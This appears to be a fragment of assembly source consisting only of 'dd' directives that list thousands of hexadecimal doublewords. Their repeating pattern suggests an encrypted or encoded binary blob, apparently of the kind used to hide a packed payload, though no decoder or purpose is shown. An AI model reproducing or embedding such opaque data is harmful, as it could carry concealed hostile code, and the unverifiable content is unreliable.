		dd 4E37FC4Bh, 0AD3CF0E3h, 355A4763h, 0EEB8C857h, 611150D3h
		dd 8BB79863h, 0DD37FC5Fh, 80B79CB6h, 4E37FC44h,	0AD3CF0E3h
		dd 1B5A4363h, 0EEE60A0Bh, 612CE8D3h, 2BB79863h,	0DD37F91Ch
		dd 98B79CB6h, 4E37FC71h, 0AD3CF0E3h, 585A5263h,	0EEB3C976h
		dd 611150D3h, 8BB79863h, 0DD37FC5Fh, 0D4B79CB6h, 4E37FC56h
		dd 0AD3CF0E3h, 0C05A5263h, 0EEB81AD3h, 611150D3h, 8BB79863h
		dd 0DD37FC5Fh, 0F7B79CB6h, 0B37FA9Dh, 0AD22BCDBh, 0A63D1563h
		dd 11321337h, 86D790A0h, 2C7E108Fh, 0FBE8098Fh,	3277A099h
		dd 0DBF108Fh, 41DB2CA9h, 0A7BBC599h, 14DDEEB4h,	86D790A0h
		dd 2C7E108Fh, 0FF46CBA8h, 3277A099h, 0DBF108Fh,	41DB2CA9h
		dd 0A7BBC599h, 14DDEEB0h, 86D790A0h, 2C7E108Fh,	95B39759h
		dd 3277A099h, 0DBF108Fh, 41DB2CA9h, 0A7BBC599h,	14DDEEBCh
		dd 86D790A0h, 2C7E108Fh, 911D557Eh, 3277A099h, 0DBF108Fh
		dd 41DB2CA9h, 0A7BBC599h, 14DDEEBCh, 86D790A0h,	2C74108Fh
		dd 98EC1372h, 3277A099h, 0DBF108Fh, 41DB2CA9h, 0A7BBC599h
		dd 14DDEE84h, 86D790A0h, 2C75108Fh, 0A3EE051Ch,	3277A099h
		dd 0DBF108Fh, 41DB2CA9h, 0A7BBC599h, 14DDEE8Ch,	86D790A0h
		dd 2C75108Fh, 0CDB59BCAh, 3277A099h, 0DBF108Fh,	41DB2CA9h
		dd 0A7BBC599h, 14DDEE88h, 86D790A0h, 2C75108Fh,	0F6A8B2B4h
		dd 3277A099h, 0DBF108Fh, 41DB2CA9h, 0A7BBC599h,	14DDEE94h
		dd 86D790A0h, 2C75108Fh, 98F32C62h, 3277A099h, 0DBF108Fh
		dd 41DB2CA9h, 0A7BBC599h, 14DDEE90h, 91BFA8E5h,	3132108Fh
		dd 0C7B7D346h, 5637FC68h, 0FA1F720Eh, 187EA86h,	0AF37FC45h
		dd 0F80BDAE3h, 1E2EA63h, 0ABC9EFE3h, 0C7B7D363h, 5637FC68h
		dd 0A181A40Eh, 187EAE8h, 0AF37FC45h, 0F80BDAE3h, 1E2EA63h
		dd 0ABC9EBE3h, 0C7B7D363h, 5237FC68h, 0FE78B20Eh, 187EAA6h
		dd 0AF37FC45h, 0F80BDAE3h, 1E2EA63h, 0ABCE17E3h, 0C7B7D363h
		dd 5D37FC68h, 0EE5EFE0Eh, 7D87EA9Dh, 0AF37FC66h, 0F80BDAE3h
		dd 1E2EA63h, 0ABCE83E3h, 0C7B7D363h, 5537FC68h,	0FBBC400Eh
		dd 187EADDh, 0AF37FC45h, 0F80BDAE3h, 1E2EA63h, 0ABCE13E3h
		dd 0C7B7D363h, 5237FC68h, 65CE90Eh, 187EADAh, 0AF37FC45h
		dd 0F80BDAE3h, 1E2EA63h, 0ABCE1FE3h, 0C7B7D363h, 4237FC68h
		dd 980CBF0Eh, 187EAA0h,	0AF37FC45h, 0F80BDAE3h,	1E2EA63h
		dd 0ABCE1BE3h, 678F9663h, 1137FC4Eh, 88D29169h,	0C1F41566h
		dd 27DB1B83h, 0DF037D20h, 3DCDEFF0h, 41DB3623h,	1BFD90EBh
		dd 0C1CD108Fh, 745890EFh, 0C1F41089h, 27DB1B83h, 2BE47D20h
		dd 3DCDE9C1h, 41DB3623h, 1BFD90EBh, 0C1CD108Fh,	744890EFh
		dd 0C1F41089h, 27DB1B83h, 0B5327D20h, 3DCD879Ah, 41DB3623h
		dd 1BFD90EBh, 0C1CD108Fh, 744C90EFh, 0C1F41089h, 27DB1B83h
		dd 5E587D20h, 3DCDE3B2h, 41DB3623h, 1BFD90EBh, 0C1CD108Fh
		dd 74B090EFh, 0C1F41089h, 27DB1B83h, 41D57D20h,	3DCD81ABh
		dd 41DB3623h, 1BFD90EBh, 0C1CD108Fh, 745C90EFh,	0C1F41089h
		dd 27DB1B83h, 65097D20h, 3DCDA444h, 41DB3623h, 1BFD90EBh
		dd 0C1CD108Fh, 744090EFh, 0C1F41089h, 27DB1B83h, 0FBDF7D20h
		dd 3DCDCA1Fh, 41DB3623h, 1BFD90EBh, 0C1CD108Fh,	744490EFh
		dd 0F9B11089h, 27DB0CEBh, 0D7126066h, 613CF0E3h, 1A5A4663h
		dd 0DDFCAB86h, 0F81150D3h, 47B79863h, 0BB37FC5Fh, 30B79CB6h
		dd 0D737FA9Ah, 613CF0E3h, 0C35A5263h, 0DDF5A438h, 0F81150D3h
		dd 47B79863h, 0BB37FC5Fh, 34B79CB6h, 9237FA9Ah,	612B98DBh
		dd 64471563h, 2CD790A0h, 7975108Fh, 6E506B63h, 6777A099h
		dd 0A7BF108Fh, 14DB2CA9h, 0DBBC599h, 41DDE97Ch,	2CD790A0h
		dd 7971108Fh, 1A481C90h, 6777A099h, 0A7BF108Fh,	14DB2CA9h
		dd 0DBBC599h, 41DDE978h, 2CD790A0h, 7971108Fh, 74138246h
		dd 6777A099h, 0A7BF108Fh, 14DB2CA9h, 0DBBC599h,	41DDE944h
		dd 3BBFA8E5h, 6432108Fh, 6DB7D326h, 737FC68h, 229A160Eh
		dd 5487EAEDh, 537FC45h,	0AD0BDAE3h, 0ABE2EA63h,	0FECE3FE3h
		dd 6DB7D363h, 737FC68h,	7904C00Eh, 5487EA83h, 537FC45h
		dd 0AD0BDAE3h, 0ABE2EA63h, 0FECE33E3h, 6DB7D363h, 737FC68h
		dd 8800F40Eh, 5487EA8Ch, 537FC45h, 0AD0BDAE3h, 0ABE2EA63h
		dd 0FECE3BE3h, 6DB7D363h, 737FC68h, 0D39E220Eh,	5487EAE2h
		dd 537FC45h, 0AD0BDAE3h, 0ABE2EA63h, 0FECE27E3h, 6DB7D363h
		dd 0B37FC68h, 17A2C10Eh, 5487EAF1h, 537FC45h, 0AD0BDAE3h
		dd 0ABE2EA63h, 0FECE23E3h, 6DB7D363h, 0B37FC68h, 4C3C170Eh
		dd 5487EA9Fh, 537FC45h,	0AD0BDAE3h, 0ABE2EA63h,	0FECE2FE3h
		dd 6DB7D363h, 937FC68h,	154B5C0Eh, 5487EAAEh, 537FC45h
		dd 0AD0BDAE3h, 0ABE2EA63h, 0FECE57E3h, 6DB7D363h, 937FC68h
		dd 0D57F9C0Eh, 5487EABAh, 537FC45h, 0AD0BDAE3h,	0ABE2EA63h
		dd 0FECE2BE3h, 6DB7D363h, 1137FC68h, 391F220Eh,	5487EAFAh
		dd 537FC45h, 0AD0BDAE3h, 0ABE2EA63h, 0FECE53E3h, 6DB7D363h
		dd 737FC68h, 0F7C23F0Eh, 5487EAB4h, 537FC45h, 0AD0BDAE3h
		dd 0ABE2EA63h, 0FECE5FE3h, 6DB7D363h, 1637FC68h, 6086FF0Eh
		dd 5487EA9Bh, 537FC45h,	0AD0BDAE3h, 0ABE2EA63h,	0F81998E3h
		dd 6DB7D363h, 337FC68h,	0BA6B8C0Eh, 5487EA84h, 537FC45h
		dd 0AD0BDAE3h, 0ABE2EA63h, 0FECE5BE3h, 6DB7D363h, 337FC68h
		dd 0DF52D70Eh, 5487EAD7h, 537FC45h, 0AD0BDAE3h,	0ABE2EA63h
		dd 0FECE47E3h, 6DB7D363h, 337FC68h, 84CC010Eh, 5487EAB9h
		dd 537FC45h, 0AD0BDAE3h
		dd 0ABE2EA63h, 0FECE43E3h, 6DB7D363h, 1B37FC68h, 72C07D0Eh
		dd 5487EAF8h, 537FC45h,	0AD0BDAE3h, 0ABE2EA63h,	0FECE4FE3h
		dd 6DB7D363h, 0B37FC68h, 0DE492A0Eh, 5487EAA1h,	537FC45h
		dd 0AD0BDAE3h, 0ABE2EA63h, 0FECE93E3h, 6DB7D363h, 337FC68h
		dd 795C590Eh, 5487EA9Ch, 537FC45h, 0AD0BDAE3h, 0ABE2EA63h
		dd 0FECE9FE3h, 6DB7D363h, 337FC68h, 2416D80Eh, 5487EAA5h
		dd 537FC45h, 0AD0BDAE3h, 0ABE2EA63h, 0FECE9BE3h, 6DB7D363h
		dd 1B37FC68h, 9952D90Eh, 5487EAB2h, 537FC45h, 0AD0BDAE3h
		dd 0ABE2EA63h, 0FECE4BE3h, 6DB7D363h, 1B37FC68h, 0CB665B0Eh
		dd 5487EAF8h, 537FC45h,	0AD0BDAE3h, 0ABE2EA63h,	0FECE77E3h
		dd 6DB7D363h, 1B37FC68h, 311A5D0Eh, 5487EAB7h, 537FC45h
		dd 0AD0BDAE3h, 0ABE2EA63h, 0FECE73E3h, 0E0367F63h, 44320566h
		dd 2222150Eh, 0EE327F66h, 613720F3h, 19B79C63h,	0AF37FC7Eh
		dd 0FEF249E3h, 0E2E2EA63h, 54327D62h, 225A1566h, 7B321546h
		dd 0BDA7EA66h, 0CD37FC63h, 0CB1004E3h, 0C8B79C63h, 0E237FC42h
		dd 54327D26h, 225A1566h, 7B321466h, 0BDA7EA66h,	0CD37FC63h
		dd 0CB3078E3h, 34879E63h, 337FC70h, 0AD3EC8FBh,	17879C63h
		dd 9837FC55h, 613198FBh, 99AF9E63h, 0A937FC6Ah,	11CB966Dh
		dd 82ED9169h, 15621566h, 0ABF22606h, 0F80310E3h, 880EAB63h
		dd 30311566h, 8F543542h, 31165165h, 8B4A65EDh, 0CF123112h
		dd 9FBB0D18h, 14DB1A07h, 0D3DEAE3h, 4432156Ch, 22231B8Eh
		dd 11A3FC66h, 3631566h,	40E07EB1h, 247780EFh, 1558108Fh
		dd 8822150Eh, 44584766h, 27078099h, 94BB108Fh, 8DDB3EE3h
		dd 0AC6BC5EDh, 223205B9h, 5531B830h, 3A53142h, 840042B9h
		dd 0DBB71AC8h, 4FCDEA99h, 360EE4Dh, 198F9EB1h, 0A137FC7Eh
		dd 0D101EAAFh, 490013ECh, 0C3369E20h, 113AFCA7h, 943D5FAEh
		dd 77CDEA8Ch, 94C5D4EDh, 0A1309C3Ch, 0EE6011A4h, 610310E3h
		dd 41A79E63h, 1B37FC57h, 0F83D74F3h, 82B61A63h,	1E321566h
		dd 26F49638h, 0EECD8E8Fh, 0E96C4F99h, 0C1F54D3Fh, 27DB14B7h
		dd 11321566h, 96BB90A1h, 4432108Fh, 9FB11566h, 14DDEEA8h
		dd 80B61A66h, 0C9321566h, 0CD6D65FBh, 0EEE1EA63h, 611AC4E3h
		dd 958F9663h, 4637FC4Eh, 11509769h, 0DF51566h, 41DB3DB7h
		dd 22321567h, 0B7879806h, 537FA9Ah, 0B42B04DBh,	0A9CC3E63h
		dd 4C8F9EB1h, 0B37FC7Eh, 8401EAAFh, 0E30013ECh,	96369E20h
		dd 0BB3AFCA7h, 0C13D5FAEh, 0DDCDEA8Ch, 0C1C5D4EDh, 878B905Fh
		dd 0C03D108Fh, 22321571h, 0FEFA8E5h, 8732108Fh,	44321FE3h
		dd 2BB7D266h, 1037FC60h, 0E9321566h, 45215BDFh,	493AAF24h
		dd 989F03C6h, 610120D3h, 0B874D263h, 22321566h,	0FFDCFB5Bh
		dd 0A8B71A88h, 0C5321566h, 0FFEFC858h, 5B71ABBh, 4F321566h
		dd 44321560h, 26F49666h, 2207A0EFh, 71DB108Fh, 0CF32156Eh
		dd 2BB726BEh, 0D037FC60h, 4A1916AEh, 7722D5A7h,	2BAF9CA7h
		dd 2C37FC60h, 88331566h, 44779669h, 1CB31566h, 0AA89AEDDh
		dd 880B9069h, 42F51566h, 22321566h, 9836D3E5h, 610120D3h
		dd 99AF9E63h, 0A937FC6Ah, 71E29E6Dh, 0D19D7EDh,	41DB3C5Bh
		dd 2130F5A7h, 0F823E8E3h, 8B9F8363h, 60769CA7h,	5EDB747Ah
		dd 40321566h, 3FB2634h,	0AD1990F3h, 2D302E63h, 11322DE2h
		dd 8CF09666h, 25BF2E27h, 2D37FC69h, 0EECDFDE3h,	3879899h
		dd 0C937FA9Dh, 0CB21CCDBh, 0D1B6B963h, 88349169h, 0AD981566h
		dd 0DDCDEA97h, 113215DEh, 0E5BF9866h, 0BB37FC28h, 27BF9C87h
		dd 4B37FC57h, 15B9433Fh, 41DB19BBh, 0A7B91EEDh,	14DB2463h
		dd 0D31F5B7h, 41DB0C5Fh, 44A4E355h, 13D2D4CBh, 99CF9065h
		dd 0E9A4108Fh, 0A16CD465h, 0F82EB0DBh, 0C3D1463h, 4432155Fh
		dd 177985Dh, 953D108Fh,	8832154Bh, 440B985Dh, 0A63D108Fh
		dd 11321547h, 0A9E7985Dh, 0C03D108Fh, 22321573h, 1DB88EBh
		dd 5BCD1096h, 0C1BBEDEDh, 27DB3217h, 1134A18Fh,	61AF9866h
		dd 0BB37E576h, 878F96B5h, 1137FC7Ah, 882F9169h,	0C1091566h
		dd 27DB17CFh, 113E9169h, 0D091566h, 41DB12A7h, 22379069h
		dd 0A8DB1566h, 0B3CDEA99h, 0AD1CB4E3h, 3AB71A63h, 92321566h
		dd 6133A8DBh, 0C13D1563h, 2232156Dh, 0D90E90EBh, 1DDB1089h
		dd 7FCDEA99h, 0CB1CB4E3h, 98B61A63h, 0BCDEA99h,	0ABC992DBh
		dd 0A73D1463h, 11321571h, 73D4905Dh, 0C13D1089h, 2232156Dh
		dd 0F79290EBh, 0E5DB153Eh, 77CDEA99h, 8B8F9699h, 1137FC76h
		dd 8B559169h, 0C1091566h, 27DDEEB4h, 94B91213h,	8DDB3493h
		dd 9EB72E21h, 5737FA9Dh, 0D4B79E61h, 0CF37FC43h, 0BFE4905Dh
		dd 25471089h, 17A390EDh, 0B375108Fh, 0ABC9CBE3h, 0A9356063h
		dd 0F832E0E3h, 0D095263h, 41DDEE84h, 0A7B91213h, 14DB1043h
		dd 6EB72E21h, 3137FA9Dh, 0F3B79E61h, 5637FC41h,	73D8905Dh
		dd 43471089h, 278790EDh, 2A75108Fh, 67C9FBE3h, 0CF356063h
		dd 0CB1FE4E3h, 94095263h, 8DDDEE94h, 0C1B91213h, 27DB3A2Fh
		dd 0E7B72E21h, 0FD37FA9Dh, 11B79E61h, 6537FC68h, 0EACC905Dh
		dd 8F471089h, 42CF90EDh, 1975108Fh, 0FEC9EFE3h,	0B226063h
		dd 0AD2B98DBh, 25471563h, 3DE390EDh, 0B75108Fh,	0AD36C4DBh
		dd 2D461563h, 0EDB4905Dh, 8F471089h, 491790EDh,	0A175108Fh
		dd 0F81A50DBh, 0FA461563h, 5463A8E5h, 5632108Fh, 7BB72E0Fh
		dd 0FD37FA9Ah, 9DB79E61h, 6537FC48h, 0ED48905Dh, 8F471089h
		dd 5A3390EDh, 1975108Fh, 0FECE7BE3h, 3356063h, 0AD25A0E3h
		dd 0A7095263h, 14DDE918h, 0DB91213h, 41DB3867h,	0A0B72E21h
		dd 6437FA9Ah, 9B79E61h,	337FC54h, 0DE40905Dh, 16471089h
		dd 0A2B790EDh, 7F75108Fh, 0CDCE63E3h, 9A356063h, 613B1CE3h
		dd 0F9B15263h, 27DB0537h, 1BB61A66h, 0B3321564h, 0ABCE17E3h
		dd 0A9356063h, 0F81808E3h, 0D095263h, 41DDE9F0h, 0A7B91213h
		dd 14DB1EE7h, 8EB72E21h, 3137FA9Ah, 0FFB79E61h,	5637FC4Bh
		dd 7438905Dh, 43471089h, 2D0F90EDh, 2A75108Fh, 67CE1BE3h
		dd 0CF356063h, 0CB2B7CE3h, 94095263h, 8DDDE974h, 0F9B10513h
		dd 27DB0CEBh, 9A356066h, 613A00E3h, 0C1095263h,	27DDE970h
		dd 94B91213h, 8DDB0A1Bh, 5EB72E21h, 5737FA9Ah, 9C8F9676h
		dd 8837FC7Fh, 0C1B91213h, 27DB08B7h, 0FB72E21h,	0FD37FA9Ah
		dd 0BDB79E61h, 6537FC71h, 0ED10905Dh, 8F471089h, 67FF90EDh
		dd 1975108Fh, 0FECE3FE3h, 0B226063h, 0AD2B98DBh, 25471563h
		dd 131790EDh, 0B375108Fh, 0ABCE33E3h, 0A1226063h, 0F82B98DBh
		dd 8F471563h, 4EEB90EDh, 1975108Fh, 0FECE3BE3h,	3356063h
		dd 0AD1CD8E3h, 0A7095263h, 14DDE954h, 0DB91213h, 41DB0887h
		dd 14B72E21h, 6437FA9Ah, 85B79E61h, 337FC62h, 0DE08905Dh
		dd 16471089h, 853790EDh, 7F75108Fh, 0CDCE2BE3h,	9A356063h
		dd 6115F8E3h, 0C1095263h, 27DDE924h, 94B91213h,	8DDB385Fh
		dd 2B72E21h, 5737FA9Ah,	0B79E61h, 0CF37FC6Ah, 0B878905Dh
		dd 25471089h, 1DC390EDh, 0B375108Fh, 0AD1998E3h, 0A9356063h
		dd 0F814A0E3h, 0D095263h, 41DDE928h, 0A7B91213h, 14DB372Fh
		dd 2B72E21h, 3137FA9Ah,	0B08F967Fh, 1137FA9Ah, 35B11C13h
		dd 41DB09C3h, 0A9356166h, 0F836CCE3h, 0D095263h, 41DDE9E8h
		dd 9FB10C13h, 14DDE9F4h, 0B3B6066h, 0AD2EB0DBh,	25461563h
		dd 72390EDh, 0B375108Fh, 0ABCE47E3h, 0A9356063h, 0F81F58E3h
		dd 0D095263h, 41DDE930h
		dd 0A7B91213h, 14DB279Fh, 0D2B72E21h, 3137FA9Ah, 23B79E61h
		dd 5637FC4Eh, 746C905Dh, 43471089h, 3C8390EDh, 2A75108Fh
		dd 67CE77E3h, 0CF356063h, 0CB1FACE3h, 94095263h, 8DDDE900h
		dd 0C1B91213h, 27DB3F7Bh, 1ECD1E21h, 883210E2h,	0BFD8FC66h
		dd 0A709EA99h, 14DB3843h, 88399069h, 0C1BF1566h, 27DDA7AAh
		dd 0EEC9C68Fh, 19B72E99h, 4B37FC44h, 22320DE3h,	968F9666h
		dd 8937FA9Dh, 44399069h, 0A7BF1566h, 116AF345h,	77C9BA8Fh
		dd 86B72E99h, 2D37FA9Dh, 113219E2h, 4EB72E66h, 4B37FA9Dh
		dd 223210E3h, 0EAA0FC66h, 888CEA99h, 0C7321566h, 0A73D1498h
		dd 11321523h, 7384905Dh, 0C13D1089h, 2232156Dh,	73D690EBh
		dd 0E5DB153Eh, 7FCDEA9Dh, 0CDC9AFE3h, 1AB71A63h, 5321566h
		dd 1C514FE3h, 0D964FC66h, 9409EA99h, 8DDDEED8h,	44399069h
		dd 0A7BF1566h, 116A76F9h, 77C92A8Fh, 0FAF29E99h, 22321567h
		dd 943DE36Dh, 88321563h, 0BBC9368Fh, 0ABC29E99h, 0F8110CD3h
		dd 71879C63h, 0C437FC67h, 0A73DFC58h, 11321540h, 8B336BEDh
		dd 0C5EC9E98h, 227215A5h, 88F2E66h, 8737FC45h, 44321DE4h
		dd 2DC92E66h, 113210E0h, 72D4FC66h, 0F9B9EA99h,	27DB3777h
		dd 112790A1h, 8832108Fh, 0CD521566h, 0CB33ECD3h, 0DBAF9863h
		dd 7737E570h, 66B01AB5h, 0AF321566h, 0FFF8FAFBh, 87E1EA63h
		dd 0BBCDCBE5h, 0DB879E99h, 9837FC67h, 613200D3h, 5CAF9863h
		dd 0DD37FA39h, 8B79EB5h, 137FC45h, 0AD33ECE3h, 0BFBF7463h
		dd 14C20655h, 15BFC699h, 41C2037Dh, 0A13DC699h,	1132156Ah
		dd 89CB90E5h, 0AD37108Fh, 0DDCDEAB8h, 77688EBh,	5BCD1096h
		dd 443A9669h, 0E0B11566h, 1100FC62h, 15BF1566h,	41DCDF89h
		dd 0A13DC699h, 1132156Dh, 89CBA0EDh, 0C4DB108Fh, 0A9321561h
		dd 0F833ECEBh, 71879C63h, 6F37FC67h, 9EBE2A8h, 0F896E697h
		dd 77CDEAF0h, 1B4288EBh, 0F1CD1089h, 9419D2EDh,	8DDB3777h
		dd 6BD390EFh, 0A7B9108Fh, 14DB3777h, 5BF4531h, 41DD4A83h
		dd 0A7B9C499h, 14DB170Bh, 0DB94236h, 41DB3777h,	36BF9836h
		dd 0EE37FA06h, 3E29EB7h, 29BF3EAEh, 0A137FC64h,	0F82290DBh
		dd 0C3D1563h, 4432154Dh, 22EB90EDh, 9419108Fh, 8DDB05E3h
		dd 0C23DD45Dh, 22321571h, 368790EDh, 0D31108Fh,	41DB05E3h
		dd 54390EFh, 52DB108Fh,	0D9321566h, 497AD4EDh, 22321A99h
		dd 0C8B79C26h, 8937FC66h, 0AD1EE0E3h, 0A7B7D263h, 1137FC76h
		dd 0E2321566h, 54327D26h, 48631566h, 24A7EA66h,	7737FC63h
		dd 0AD0308F3h, 97B79C63h, 9837FC41h, 611564E3h,	0F1CD4C63h
		dd 27DB3217h, 135FA099h, 7765108Fh, 0AD1004D3h,	84B79863h
		dd 0EE37FA02h, 0DBF14B6h, 0CF37FC76h, 0CB1564DBh, 7C879E63h
		dd 7B37FC64h, 71879EC2h, 8F37FC55h, 11CE53A1h, 49321566h
		dd 0A3710A6h, 21701475h, 0F8357CE3h, 0F9BF9E63h, 0CD37FC41h
		dd 64F5B86Eh, 1132159Ah, 0BD879C66h, 0C737FC55h, 0A73DEA9Eh
		dd 11321546h, 55EF2BE7h, 0C13DC8BBh, 22321572h,	113213A1h
		dd 4EB11566h, 71879C62h, 0CB37FC55h, 0EECDE380h, 8B31D5A7h
		dd 0AD357CE3h, 578F9663h, 1037FC4Bh, 88AF9169h,	7AB31566h
		dd 8898BFCCh, 11209069h, 4EB11566h, 0B874D262h,	22321566h
		dd 0F8DBA5F1h, 88321565h, 14DAA5F1h, 3E97A8E5h,	1E33108Fh
		dd 88322BE2h, 4532AD66h, 9FB11566h, 14DDEEA8h, 80B61A66h
		dd 0C9321566h, 0CD55F2FBh, 91E1EA63h, 0C3D8559h, 4432156Eh
		dd 0CB37D2E5h, 11321525h, 8762EDE5h, 44321FE4h,	88A2A566h
		dd 35DBBF3Eh, 0D0321566h, 0BB4D95CCh, 3AB71A8Fh, 92321566h
		dd 67C9DBDBh, 0C03D1563h, 2232156Eh, 768588EBh,	5BCD1089h
		dd 0CF3652EEh, 0CB1564E3h, 92F53E63h, 2599118Eh, 44CE53A1h
		dd 0CB321566h, 0EECDEA77h, 0BB07A0EFh, 2C60108Fh, 22329566h
		dd 0A4CD150Ch, 8DDB3EE3h, 53BB8099h, 0A968108Fh, 0F83EC8EBh
		dd 8833D263h, 0C7321566h, 0AFBB11A7h, 14DB19BBh, 77C7058Fh
		dd 4296FC99h, 0A9521566h, 0F83EC8EBh, 13B9E63h,	0ABC9DFEBh
		dd 6C0A9463h, 1E7E5132h, 883209E3h, 3CB37366h, 2D1C5962h
		dd 113205E3h, 0BC29E66h, 0C1B913A0h, 27DB2647h,	1133138Fh
		dd 3C29E66h, 0E8FB26B6h, 0A63D155Ah, 1132153Bh,	0C3D385Ah
		dd 0BBCDEA89h, 0A63D3B5Ah, 1132155Bh, 0A3D255Ah, 44321466h
		dd 0A43D2C5Ah, 0EECDEAB1h, 0A3D545Ah, 44321596h, 0A43D4F5Ah
		dd 0EECDEAA1h, 0C3D4A5Ah, 0BBCDEAD9h, 0A03D745Ah, 113215BEh
		dd 0E3D6F5Ah, 0BBCDEAC9h, 2232DE8Fh, 0C7095766h, 88F09169h
		dd 5781566h, 0DDCD8F8Fh, 1EFB9099h, 8832A6E2h, 0DD879866h
		dd 0A937FC63h, 0A1C89EACh, 0D3DBB48h, 0BBCDEA9Fh, 0FBC5DA4Dh
		dd 0E6B5EC4Dh, 0CFF4B195h, 0D1BF1599h, 27DB10FFh, 161790EDh
		dd 48B7108Fh, 44289069h, 0A7F41566h, 14DB1B83h,	2FE07D21h
		dd 0F1CDC1FCh, 27DB0B9Bh, 6B5D90EBh, 58CD108Ah,	0C1E2EA34h
		dd 1AB71AA6h, 9A321566h, 611974E3h, 4BF29063h, 22320FE3h
		dd 0F4B7D366h, 0C437FC68h, 9E2EFC0Eh, 0DF87EABFh, 9C37FC78h
		dd 64487AE3h, 16E2EA63h, 0E2B7C599h, 11379069h,	0A9DB1566h
		dd 0CD321566h, 0CDC9DFE3h, 9C644563h, 64A1E8E3h, 4FE2EA63h
		dd 27B71AA6h, 0F8321566h, 88321562h, 581651EFh,	0A952D607h
		dd 0FEC9DFEBh, 49B94563h, 0CF0E5565h, 22329DF6h, 0ACA79C66h
		dd 8D37FC71h, 4432159Eh, 0AB3E45EDh, 0F838A4F3h, 0CCB94D63h
		dd 85193142h, 2883905Dh, 933D108Fh, 88321576h, 538F905Dh
		dd 0A13D108Fh, 11321562h, 8836D707h, 6036D207h,	22321566h
		dd 151651A1h, 88321566h, 443210DEh, 4FBF9866h, 0EE37FC28h
		dd 8EB87587h, 0C03DFC5Ah, 22321558h, 953DFD5Ah,	88321524h
		dd 0C03D1A5Ah, 22321574h, 953DD85Ah, 88321559h,	0C03DFE5Ah
		dd 2232152Fh, 4FB8D607h, 78D19567h, 4BB2EEE6h, 0DDCDFAE3h
		dd 92EC9E99h, 0D63113A5h, 4426FC64h, 7CB91566h,	0EAC99667h
		dd 881B9169h, 9AB91566h, 0A1334B65h, 0D8DB10A5h, 87CDEA99h
		dd 0C7334BD0h, 0A63D3B8Dh, 0EECDEADAh, 88321F8Fh, 454C9566h
		dd 8FB71A98h, 0F8CDEA99h, 77CDEA06h, 13614430h,	0A89ED555h
		dd 0E1D195BEh, 8742EEE6h, 4432F9E2h, 2D3D2966h,	113230E2h
		dd 87DB2966h, 443391E2h, 2DD92966h, 113000E2h, 87D12966h
		dd 443264E2h, 2DD02966h, 113056E2h, 0D1694A66h,	0C1F5D638h
		dd 27DDE9FCh, 11321560h, 6BB20BECh, 0C4C99596h,	0DDD19069h
		dd 9A7CEA99h, 61110CE3h, 51A79E63h, 0A937FC66h,	17F196B8h
		dd 0B3304B65h, 4CB01ABEh, 19321566h, 0AFB41ABCh, 0A3CDEA99h
		dd 42D996B9h, 8954B800h, 0D7B1BEF5h, 0AC0E9C62h, 481661EFh
		dd 23CBA0EFh, 4A6D108Fh, 4CB14B3Fh, 0BE52FC62h,	0A7F5EA99h
		dd 14DDE9FCh, 88321564h, 0F23DCBEDh, 0A2CB9568h, 113A9669h
		dd 51311566h, 443FFC25h, 0CBB21566h, 90EBE299h,	8832EA87h
		dd 0CFEB3E66h, 0CB110CE3h, 4A79E63h, 0B37FC66h,	0AD33C4DBh
		dd 0A63D1463h, 113215C5h, 0A3DCD5Dh, 443215FDh,	0A03DCF5Dh
		dd 0EECDEA27h, 88329B8Fh, 0DEB7D266h, 2037FA9Ah, 9A321566h
		dd 86841AB8h, 4BB2ECE6h, 22321DE5h, 52EB1666h, 8832188Fh
		dd 0BBDB9566h, 0C3B3CC91h, 11321599h, 0DB9CC4Dh, 41DB367Fh
		dd 222780EDh, 0ACB1108Fh, 8DDB14B7h, 0CB61A67h,	19321566h
		dd 19B01ABEh, 0B3321566h, 0A2B41ABCh, 6CCDEA98h, 9B981AD6h
		dd 8B2A568h, 85381A87h
		dd 0A1ED3ECCh, 0BAA1118Dh, 130D3E5h, 0AD33ECD3h, 0F3B7D263h
		dd 1037FC67h, 0B321566h, 1D6911A2h, 0A136D1E5h,	66DB11A2h
		dd 0C6CDEA9Fh, 0CF98FCD6h, 0A1F53EA0h, 9299118Eh, 0D16911A2h
		dd 40F69638h, 0DDCBD28Fh, 8BB7D299h, 8D37FA9Ah,	0CF321566h
		dd 26F196B8h, 94B90B65h, 8DDB367Fh, 442780EDh, 0A17C108Fh
		dd 0F82C9CDBh, 0C3D1463h, 44321465h, 0A03DCD5Dh, 1132156Eh
		dd 0E3DCF5Dh, 4432154Dh, 23CBA0EFh, 8CB9108Fh, 8DDDE9FCh
		dd 48164967h, 2232CB8Fh, 94F54A66h, 8DDB0BEFh, 44321567h
		dd 0A16C4C3Dh, 0E6DB11A2h, 0BCDEA9Eh, 0AD33C4DBh, 0A63D1463h
		dd 113215DDh, 0AB2B884Dh, 0C9B9108Fh, 27DB3777h, 0DE19DE65h
		dd 3837FCE5h, 0EFA3BF8Fh, 7936D1E5h, 0D5B14B3Fh, 711CFC62h
		dd 0C1F5EA99h, 27DDE9FCh, 11321564h, 3E3DCBEDh,	0C4CB9568h
		dd 223A9669h, 0C8311566h, 883FFC25h, 0ADB21566h, 0A3EBE299h
		dd 1132EA87h, 3EB3E66h,	0AD110CE3h, 37A79E63h, 0F837FC66h
		dd 77CDEA20h, 0B8A890A1h, 22301089h, 0CFB91566h, 83CA369h
		dd 0C73D959Fh, 2232156Eh, 0F871CC65h, 8832156Bh, 0B3CDFCE6h
		dd 0DDD394BFh, 3A321566h, 91B79EBFh, 0CF37FC45h, 0CB3200F3h
		dd 0C08F9663h, 8937FC67h, 0BAFB9169h, 0FA09EA99h, 113A9769h
		dd 52091566h, 0B9559369h, 0A97CEA99h, 92FD3EA8h, 6182108Fh
		dd 0AD9984CCh, 0DDCDEDEEh, 0F90E13ECh, 88349169h, 0ADCA1566h
		dd 2232157Eh, 12EC9E35h, 4BB11438h, 0EEDAA563h,	0C9B1CA4Dh
		dd 4A998662h, 7137D3E5h, 0CF5444A5h, 2DF12960h,	113255E2h
		dd 87F92966h, 44322DE2h, 2DF02966h, 11322DE2h, 87F82966h
		dd 443225E2h, 0DD0F7366h, 21B61A43h, 0EE321566h, 4BCD3B5Bh
		dd 223218E3h, 13749F66h, 280EE542h, 44119169h, 0DA6B1566h
		dd 11322C8Fh, 0C9FB2666h, 44320C8Fh, 2231AC66h,	1EDB1566h
		dd 31321566h, 44321560h, 2232108Fh, 1135AC66h, 2CC11566h
		dd 442798EDh, 0EBB7108Fh, 11349069h, 3DBB1566h,	41DB1573h
		dd 44F1EC3Fh, 0D20E13EDh, 88579169h, 9CB81566h,	0A2C2F6E6h
		dd 953D659Dh, 883215FAh, 0C03DFC5Ah, 22321529h,	953DFE5Ah
